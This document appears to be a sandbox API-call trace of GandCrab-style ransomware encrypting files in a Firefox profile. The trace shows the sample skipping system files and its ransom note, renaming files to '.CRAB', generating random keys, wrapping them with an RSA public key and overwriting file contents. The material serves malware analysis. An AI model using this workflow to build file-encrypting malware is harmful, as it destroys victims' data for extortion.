	[0122.788] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0122.788] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0122.788] FindNextFileW (in: hFindFile=0x31650d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0122.788] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0122.788] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0122.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\CRAB-DECRYPT.txt"
	[0122.788] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.789] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\CRAB-DECRYPT.txt") returned 118
	[0122.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\CRAB-DECRYPT.txt") returned 118
	[0122.789] lstrlenW (lpString=".txt") returned 4
	[0122.789] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.789] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0122.789] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\CRAB-DECRYPT.txt") returned 118
	[0122.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\CRAB-DECRYPT.txt") returned 118
	[0122.789] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0122.789] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0122.789] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0122.790] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0122.790] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0122.790] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0122.790] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0122.790] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0122.790] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0122.790] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.790] FindNextFileW (in: hFindFile=0x31650d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0122.794] lstrcmpW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2=".") returned 1
	[0122.794] lstrcmpW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="..") returned 1
	[0122.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\", lpString2="d896fec9-1a7a-4db1-a3a2-e46d95b631a5" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5"
	[0122.794] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.794] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138
	[0122.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138
	[0122.795] lstrlenW (lpString=".default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 67
	[0122.795] VirtualAlloc (lpAddress=0x0, dwSize=0x8a, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.795] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5 ") returned 68
	[0122.795] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138
	[0122.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5") returned 138
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="desktop.ini") returned -1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="autorun.inf") returned 1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="ntuser.dat") returned -1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="iconcache.db") returned -1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="bootsect.bak") returned 1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="boot.ini") returned 1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="ntuser.dat.log") returned -1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="thumbs.db") returned -1
	[0122.795] lstrcmpiW (lpString1="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.795] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.796] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB") returned 143
	[0122.796] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5")) returned 0x20
	[0122.797] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5", dwFileAttributes=0x20) returned 1
	[0122.797] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.crab")) returned 1
	[0122.798] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.798] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB"
	[0122.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB.CRAB"
	[0122.798] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e9e0) returned 1
	[0122.799] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.799] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.799] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0122.799] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0122.799] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.799] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e408) returned 1
	[0122.800] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.800] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.800] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0122.800] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.800] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.800] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.801] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.801] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e408) returned 1
	[0122.801] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165258) returned 1
	[0122.801] CryptGetKeyParam (in: hKey=0x3165258, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0122.801] CryptEncrypt (in: hKey=0x3165258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0122.802] GetLastError () returned 0x0
	[0122.802] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.802] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e6b0) returned 1
	[0122.802] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x31656d8) returned 1
	[0122.803] CryptGetKeyParam (in: hKey=0x31656d8, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0122.803] CryptEncrypt (in: hKey=0x31656d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0122.803] GetLastError () returned 0x0
	[0122.803] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0122.803] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\saved-telemetry-pings\\d896fec9-1a7a-4db1-a3a2-e46d95b631a5.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0122.803] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.804] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.804] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0x29c5, lpOverlapped=0x0) returned 1
	[0122.838] VirtualAlloc (lpAddress=0x0, dwSize=0x29d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.839] VirtualAlloc (lpAddress=0x0, dwSize=0x29d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.839] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.839] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xffffd63b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.840] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x29d0, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x29d0, lpOverlapped=0x0) returned 1
	[0122.840] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.840] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.843] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0122.843] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0122.843] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0122.844] CloseHandle (hObject=0x3d8) returned 1
	[0122.844] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.844] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.844] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.844] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.845] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.845] FindNextFileW (in: hFindFile=0x31650d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0122.845] FindClose (in: hFindFile=0x31650d8 | out: hFindFile=0x31650d8) returned 1
	[0122.845] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.845] lstrcmpW (lpString1="search.json.mozlz4", lpString2=".") returned 1
	[0122.845] lstrcmpW (lpString1="search.json.mozlz4", lpString2="..") returned 1
	[0122.845] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="search.json.mozlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4"
	[0122.845] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.845] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98
	[0122.845] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98
	[0122.845] lstrlenW (lpString=".mozlz4") returned 7
	[0122.845] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.846] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mozlz4 ") returned 8
	[0122.846] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.846] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98
	[0122.846] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="desktop.ini") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="autorun.inf") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="ntuser.dat") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="iconcache.db") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="bootsect.bak") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="boot.ini") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="ntuser.dat.log") returned 1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="thumbs.db") returned -1
	[0122.846] lstrcmpiW (lpString1="search.json.mozlz4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.846] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.846] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB") returned 103
	[0122.846] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\search.json.mozlz4")) returned 0x20
	[0122.847] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4", dwFileAttributes=0x20) returned 1
	[0122.847] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\search.json.mozlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\search.json.mozlz4.crab")) returned 1
	[0122.848] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.848] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB"
	[0122.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB.CRAB"
	[0122.848] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.849] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.849] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.849] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0122.849] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.849] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.849] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.850] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.850] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.850] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.850] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0122.851] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.851] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.851] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.851] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.851] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0122.852] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165398) returned 1
	[0122.852] CryptGetKeyParam (in: hKey=0x3165398, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.852] CryptEncrypt (in: hKey=0x3165398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0122.852] GetLastError () returned 0x0
	[0122.852] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0122.852] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ec00) returned 1
	[0122.852] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165518) returned 1
	[0122.853] CryptGetKeyParam (in: hKey=0x3165518, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.853] CryptEncrypt (in: hKey=0x3165518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0122.853] GetLastError () returned 0x0
	[0122.853] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
